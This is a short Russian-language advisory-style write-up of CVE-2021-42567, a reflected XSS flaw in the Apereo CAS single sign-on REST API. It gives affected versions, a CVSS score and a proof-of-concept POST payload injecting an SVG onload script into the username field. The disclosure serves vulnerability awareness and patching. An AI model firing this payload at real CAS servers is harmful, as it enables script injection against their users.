Статья CVE-2021-42567 Apereo CAS система единого входа в систему REST API-интерфейс XSS-уязвимость

[0x0021h]

Предпосылки:

Серия Apereo CAS v6.3.x соответствует предыдущей версии v6.3.7.1, а серия v6.4.x соответствует версии v6.4.2;
Apereo CAS запускает интерфейс Restful API (по умолчанию не включен)


Уровень опасности:

CVSS: 4.3

Затронутая версия:

Серия Apereo CAS v6.3.x до v6.3.7.1
версия v6.4.2

PoC：

http://127.0.0.1/cas/v1/tickets/

Полезные данные, отправленные POST:

username=<svg/onload=alert(1)>&password=admin

Путем проверки обнаруживается наличие отражающей уязвимости XSS.